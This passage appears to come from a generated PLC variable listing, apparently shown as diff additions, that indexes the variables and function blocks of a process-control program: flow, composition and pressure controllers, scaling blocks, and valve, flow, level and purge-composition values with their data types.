+40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; 